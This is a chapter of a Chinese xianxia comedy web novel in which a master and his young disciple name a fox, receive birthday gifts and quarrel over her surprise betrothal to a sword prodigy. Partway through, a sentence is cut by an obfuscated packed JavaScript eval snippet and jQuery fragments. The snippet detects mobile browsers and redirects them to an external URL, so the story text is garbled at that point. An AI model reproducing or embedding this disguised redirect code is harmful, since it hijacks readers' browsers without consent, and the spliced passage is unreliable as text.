又到了紧张刺激的取名字环节。
奚缘沉吟片刻:“小白。”
“和‘云影’差太多了吧,”奚风远吐槽,“不都是捡来的吗?”
怎么这么偏心呢?
“那……咪咪?”
“种族不对吧?”
“乖狗狗?”
“真的好吗,这名字有点那个了,”怎么突然往不可说的方向跑了,奚风远看了眼懵懂的徒弟,捂住脸,“是我思想污浊了。”
成年人肮脏的世界。
狐狸的名字定下来了,就叫小白。
礼物也拆得差不多了,奚缘打了个哈欠,窝在师父怀里昏昏欲睡。
沈玉妖打趣自己师弟:“真就不准备别的啊,元宝以后回忆起来想到的就是她的抠门师父。”
“没办法,运气不好,抓不到,”奚风远笑道,“连累你也没准备好礼物。”
虽然话是这么说,但半睡半醒间奚缘好像听到她师父说——
“礼物吗……我就是为她而生的啊。”
后半夜谈了什么奚缘自然没有听到,不过她早起后,也只见到了她师父,师父面色还不太好,想来情况不佳。
奚风远昨晚也没有回落梅山,就守在奚缘的房间里,奚缘醒时他还拿着笔涂涂写写。
“醒了?”他放下笔,“有些事情……回家再和你细说。”
奚缘揉揉眼睛:“嗯……”她问,“今天太上宗宗主是不是要来?”
“是,”奚风远把她抱起来,“要去看看吗?”
“要的要的!”她显得异常兴奋,几乎要从师父的怀里蹦出去,奚风远都以为是什么旧友重逢的剧本了。
奚风远就带着徒弟去找了个好位置,还是昨天那地方,但这次奚缘拿着望远镜四处张望,来来往往的人却毫无所觉。
这就是人说的背靠大树好乘凉了。
中途拢纱还来了一趟,这位龙族明显提不起精神,揉了揉奚缘的脑袋,又失了魂一般飘走了。
“她怎么啦?”奚缘问。
“可能认床了,”拢纱又飘回来,她幽幽道,“我平时都趴在金银玉石那些亮闪闪的东西上睡,换了个地方睡不好……你跟你说,盘在上面的感觉真是让龙着迷。”
“你这不像本地龙啊。”奚风远若有所指。
“你不懂的,你只是个毫无趣味的人类。”她又飘走了,奚缘怀疑她还没回金玉满堂补觉是因为还在等晚上的宴会。
她真的,奚缘哭死。
好吧,奚风远确实不懂,但不妨碍他推己及人地安慰徒弟:“没事,就算你有这种癖好,家里也供得起。”
奚缘心说我的癖好你真不一定供得起。
“会很无聊吗?”过了一会,奚风远问,就他们两个人在这里,沈玉妖那几个昨晚谈完立刻动身去布置宴会了,而那些和徒弟同一辈都要上学。
也许她会很寂寞?
“不会啊,”奚缘坐在他身边,对着人指指点点,“师父你看,这个是吕家的人,就是我上次说的那个吕耀华,身后那个是……”
她一连点了好几个人,显然,这种观察游戏深得她心:“这个是……咦,”奚缘冲下面的人招招手,“是少宗主耶!”
奚缘声音虽然不大,冷如星却听的一清二楚,少宗主仰头一看,发现这个高度对她来说如履平地,便三两下跃上来,蹲在奚缘面前:“生辰快乐。”
“嘿嘿,你也快乐呀。”奚缘伸手和她贴贴。
冷如星顺势抓着她的手,放上一把小剑:“里面有我的一道剑气,遇到危险你就拿来防身。”
对于一个剑修来说,愿意送出自己的剑气是对友情的极高认可。
也可能因为穷,只送得起这个。
奚缘抚过剑身的纹理,说:“好哦。”
送完礼,冷如星本来要立刻就走的,但她犹豫了一下,又偷偷和奚缘讲:“碰到讨厌的人你就用这个砸他,出了事我扛着。”
奚缘深深地望着她,怀疑道:“你是不是有讨厌的人?”她猜测,“卫予安?”
“算不上讨厌吧,”冷如星对一个陌生人没什么恶感,只是对竞争者得到偏爱有所不满,“如果她愿意退出就最好了。”
她突然又不急着走了,她抽了个椅子,坐在奚缘身边,试探地问:“或者说,你觉得……她会不会有什么怕的?”
奚缘没接话,她就自顾自继续说:“我听说有人在草木境装神弄鬼,要不我也花钱请一下,吓吓卫予安……然后我护着卫予安,她又惊又吓一定会对我信任有加,我再展露高超的法术水平,她指定会被我的魅力折服……指不定就自动退出竞争了。”
冷如星越想越觉得可行性颇高,满怀信心地看向奚缘。
奚缘知道不能改变她的想法了,就表示:“你高兴就好。”
冷如星就美滋滋地打开玻璃纸联系,片刻后悲伤道:“被拒绝了……最近严打不接陌生钓鱼单是什么意思?”
“戒律堂邪恶的大手。”奚缘说着,佐以自信点头。
“你说,”冷如星凑近师妹的耳朵,瞄了奚风远一眼,轻声问,“我能请你师父装神弄鬼吗?”
奚风远修为已经是修仙界巅峰,他一出手指定能把卫予安这个初入修仙界的萌新吓得大惊失色,慌不择路,只能依偎在自己宽阔的肩膀。
然而奚风远只喜欢吓装神弄鬼的,或者抓半夜不睡觉那些谈恋爱的小情侣,对这事着实没兴趣。
冷如星期盼的眼神望过来,他就若无其事移开视线,还掩耳盗铃般捂住耳朵。
冷如星失望地叹气。
奚缘扯扯她的衣袖,暗示她:“你可以去找陈浮呀,她有路子。”
有路子?还是她就在做这个?冷如星心绪转动,会心一笑,她伸出一只手给奚缘比了半个心:“我懂你意思。”
奚缘曲起手,补上半个心:“你懂我意思。”
冷如星就欢快地离开了。
奚风远终于能把手从耳朵放下了,他把徒弟抱起来,示意她往远处看:“喏,你心心念念的,李忘情和她的两个徒弟。”
他介绍道:“前面那个稍大一些的女孩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292788|163219||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是李无心,资质稍差一些,后面那个……”
奚缘欢快地抢答:“是君无越!天生剑骨!我的未婚夫呀!”
奚风远刚欣慰一下徒弟的记忆力,不愧是他养的,忽然意识到不对:“……你的什么?”
“未婚夫呀。”奚缘重复一遍。
奚风远心中窒郁,面上更是已经失去表情,他咬牙道:“我不会同意这门婚事的!”
这小子哪里来的!
“但你上次同意了。”奚缘悠悠道。
“我怎么可能会同意,你现在这样子,根本就压不住他……”奚风远冥思苦想,又想到了些不得了的东西,面色异常难看,“不,就算你压得住他,我也绝不可能同意。”
“你们俩不能在一起的!”奚风远斩钉截铁道。
奚缘无所谓:“好哦。”
她是很洒脱,奚风远越想越痛苦,一边想着那种事情怎么可以呢,一边又怕耽误了徒弟的真爱,最后抓着徒弟的爪子:“元宝,你实在喜欢的话,成年后可以和他在一起,但是!”
“但是?”奚缘很配合地问。
“但是,你们绝对不能生小孩!”奚风远捧着徒弟的脸,让她看着自己的眼睛,“你的正宫只能是龙族。”
奚缘把师父的手扒拉下来,简直无力吐槽:“都说沈家全是龙性恋,我看你才是龙性恋。”
还正宫必须是龙族,她师父到底在想什么东西。
“你发誓!”奚风远抓着徒弟的两只手,殷切道。
“你滚蛋。”奚缘毫不留情地甩开手。
既然徒弟不愿意许下承诺,奚风远也不逼迫她,转而开始思考为什么徒弟会有一个“未婚夫”。
“君无越天生剑骨,对太上宗助力良多,”奚风远指尖轻点白玉桌,“为什么要和你定婚约。”
几个渡劫坐镇,归一宗比太上宗还强硬,不可能让奚缘嫁出去的,君无越只能入赘。
那就是太上宗的内部问题,是了,下任宗主要么是少年老成权势在手的秦归鹤,要么是李国遗孤出身,同李忘情血脉相连的李无心。
在这种情况下,君无越天赋越是过人,对这两位的威胁就越大,他在太上宗过得就越如履薄冰。
反之,如果君无越赘给奚缘,那好处可就多了,一来可以维系两个宗门的关系,二来安了太上宗两位继承者的心,三来卖了君无越一个好,看啊,虽然我们不让你当宗主,但支持你借奚风远的资源争夺剑首之位啊!
好家伙,这是要把他们归一宗家偷了啊。
奚风远完全懂了,他冷哼一声:“合着是冲着爆我金币来的。”
他瞥了眼心情很好的徒弟,恨铁不成钢地捏她脸蛋:“还乐呢,他是个屁的未婚夫,他是你的竞争对手!”
奚缘拍拍师父的手,安慰心情大起大落落落的大人:“别担心呀师父,我也可以偷太上宗老家的!”
君无越抢剑首位置,她就去当太上宗宗主嘛,到时候秦归鹤做她左臂右膀,她们俩直接幸福一生。
她师父怎么会懂女孩子之间的羁绊!